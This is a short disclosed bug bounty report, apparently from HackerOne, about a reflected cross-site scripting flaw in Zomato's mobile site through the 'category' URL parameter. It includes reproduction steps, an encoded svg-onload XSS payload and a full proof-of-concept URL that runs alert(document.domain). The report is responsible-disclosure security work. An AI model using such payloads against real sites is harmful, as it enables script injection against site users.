Eternal · Report #230119
Reflected XSS in Zomato Mobile - category parameter
Validstatus
mediumseverity
7upvotes
26 Jun 2017disclosed
How it was found
Hi there. I have found a reflected XSS in Zomato.com mobile. This XSS affects mobile users of Zomato. Steps to reproduce:
- Go to Zomato.com and change your user agent to mobile (iPhone/Android user agent)
- Go to a certain restaurant/place and their photos (e.g. site: https://www.zomato.com/manila/artsy-cafe-diliman-quezon-city/photos?category=ambience)
- Change the value in the
categoryparameter to an XSS payload:"--><%2Fscript><svg%2Fonload%3D'%3Balert(document.domain)%3B'> - Final URL will look like this: https://www.zomato.com/manila/artsy-cafe-diliman-quezon-city/photos?category=%22--%3E%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%3Balert%28document.domain%29%3B%27%3E
XSS will execute. POC attached.
Thanks and I hope you consider and fix this